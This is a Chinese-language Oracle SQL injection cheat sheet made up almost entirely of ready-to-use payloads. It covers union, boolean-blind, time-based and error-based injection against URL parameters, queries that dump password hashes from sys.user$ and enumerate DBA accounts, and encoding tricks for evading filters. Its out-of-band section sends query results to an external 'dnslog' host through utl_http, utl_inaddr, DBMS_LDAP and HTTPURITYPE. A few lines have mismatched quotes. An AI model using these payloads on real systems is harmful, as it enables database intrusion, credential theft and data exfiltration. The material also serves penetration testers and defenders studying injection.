Oracle注入
获取数据库版本
union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- +
获取操作系统版本
union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- +
获取当前用户权限的所有数据库
SELECT DISTINCT owner, table_name FROM all_tables;
获取当前数据库
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
获取用户相关信息
SELECT user FROM dual;获取当前数据库用户
SELECT username FROM all_users ORDER BY username;列出所有用户
SELECT name FROM sys.user$; — priv;列出所有用户
列出密码哈希:
SELECT name, password, astatus FROM sys.user$ — priv; <= 10g(astatus能够在acct被锁定的状态下给你反馈)
SELECT name,spare4 FROM sys.user$ — priv; 11g
获取数据库所有用户:
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv;
SELECT * FROM session_privs; 获取当前用户权限
SELECT * FROM dba_sys_privs -- priv; 获取所有用户权限
获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;
获取所有数据库用户密码
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g;
SELECT name, spare4 FROM sys.user$; -- priv, >= 11g;
列出DBA账户:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;
获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; 查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称
SELECT name FROM V$DATAFILE; 获取DB文件路径
获取字段名和表名
SELECT table_name FROM all_tables; 获取表名
SELECT column_name FROM all_tab_columns; 获取字段名
布尔盲注
利用字符串相关函数,对逐个字符进行比较猜解来获取数据
http://127.0.0.1/oracle?id=99' and (select substr(user, 1, 1) from dual)='O' -- +
或者利用decode函数+除0(关于decode函数看上面基本函数)
http://127.0.0.1/oracle?id=99' and 1=(select decode(substr(user, 1, 1), 'O', (1/1),0) from dual) -- +
或者利用instr函数来进行布尔盲注(从一个字符串中查找指定子串的位置,查询结果中的位置,未找到便返回0,可以通过对子串位置进行遍历和迭代,获取到数据)
?username=user'and 1=(instr((select user from dual),'ADMIN'))
时间盲注
利用时间延迟函数配合replace和substr以及decode来进行注入
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('olo', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'O', 10))=1;
select decode(substr(user,1,1),'O',dbms_pipe.receive_message('olo',10),0) from dual;
select 1 from dual where 1=0 or DBMS_PIPE.RECEIVE_MESSAGE('pyy', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'P', 1))=1;
也可以利用获取大量数据的语句
select count(*) from all_objects
报错注入
utl_inaddr.get_host_name
在11g之前不需要任何权限,在11g之后当前的数据库用户必须有网络访问权限
select utl_inaddr.get_host_name((select user from dual)) from dual;
ctxsys.drithsx.sn
处理文本的函数,传入参数错误的时会报错返回异常
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
CTXSYS.CTX_REPORT.TOKEN_TYPE
用于处理文本,也会出现参数错误返回异常
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
XMLType
XMLType是oracle系统定义的数据类型,系统预定义了内部函数去访问XML数据
select XMLType('<:'||(select user from dual)||'>') from dual;
PS:调用的时候必须以<:开头和>结尾,即 '<:'||balabala||'>' 或者 chr(60)||balabal||chr(62);如果返回的数据种有空格的话,会自动截断,导致数据不完整,这种情况下需要先转为 hex,再导出(或者有replace函数替换成其他非空字符
dbms_xdb_version.checkin
select dbms_xdb_version.checkin((select user from dual)) from dual;
dbms_xdb_version.makeversioned
select dbms_xdb_version.makeversioned((select user from dual)) from dual;
dbms_xdb_version.uncheckout
select dbms_xdb_version.uncheckout((select user from dual)) from dual;
dbms_utility.sqlid_to_sqlhash
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
ordsys.ord_dicom.getmappingxpath
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;
UTL_INADDR.get_host_name
select UTL_INADDR.get_host_name((select user from dual)) from dual;
UTL_INADDR.get_host_address
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;
联合注入
Tips:Oracle的数据类型是强匹配的,所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置,最后查询返回指定的记录时,oracle没有limit函数,要通过'>=0<=1'这种形式来指定
select 列名 from (select rownum r,列名 from 表名) where r>0 and r<5
判断列数
?id=-1'% order by 10 --
判断列数后使用null代替来注入数据
?id=-1' union select null,null,null,null,null,null,null,null,null,null from dual --
注入爆库名
?id=99' union select null,null,null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual --
这里用rownum来指定返回结果,如果要匹配字符的数据库需要使用<>(rownum = 1 and owner <> 'MASTER')
注入爆表名
?id=99' union select null,null,null,null,(select table_name from user_tables where rownum = 1),null,null,null,null,null from dual --
注入爆列
?id=99' union select null,null,null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual --
改变rownum来注入不同的列
OOB-带外注入
utl_http.request
utl_http.request向外网主机发送http请求,需要出外网http
select utl_http.request('dnslog'||(select user from dual)) from dual;
utl_inaddr.get_host_address
dns解析带外
把查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果
select utl_inaddr.get_host_address((select user from dual)||'dnslog') from dual
SYS.DBMS_LDAP.INIT
在oracle10g和11g里面只需要public权限
SELECT DBMS_LDAP.INIT((‘dnslog',80) FROM DUAL;
HTTPURITYPE
HTTPURITYPE根据给定的URI创建一个实例
SELECT HTTPURITYPE((select user from dual)||'dnslog').GETCLOB() FROM DUAL;
Oracle <= 10g
以下模块都可用于发起网络请求
UTL_INADDR.GET_HOST_ADDRESS
UTL_HTTP.REQUEST
HTTP_URITYPE.GETCLOB
DBMS_LDAP.INIT and UTL_TCP
Oracle绕过技巧
使用hextoraw()及asciistr()搭配UTL_RAW.CAST_TO_VARCHAR2()函数来进行ascii的编码
hextoraw():十六进制字符串转换为raw
SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw("abcdef")) FROM dual
使用rawtohex()来进行ascii的解码
SELECT rawtohex('abcdef') FROM dual
下面是一些利用编码绕过的情况
SELECT 1 FROM dual; 正常语句
SELECT%0a1%0aFROM%0adual; \n换行来替代空格
SELECT%0b1%0bFROM%0bdual; 使用tab来替换空格
SELECT%0c1%0cFROM%0cdual; 使用\r回车开替换空格
SELECT/**/1/**/FROM/**/dual; 多行注释符来替代回车
SELECT--%0a1--%0aFROM--%0adual; 单行注释符和换行来替代回车
SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; 使用内联注释符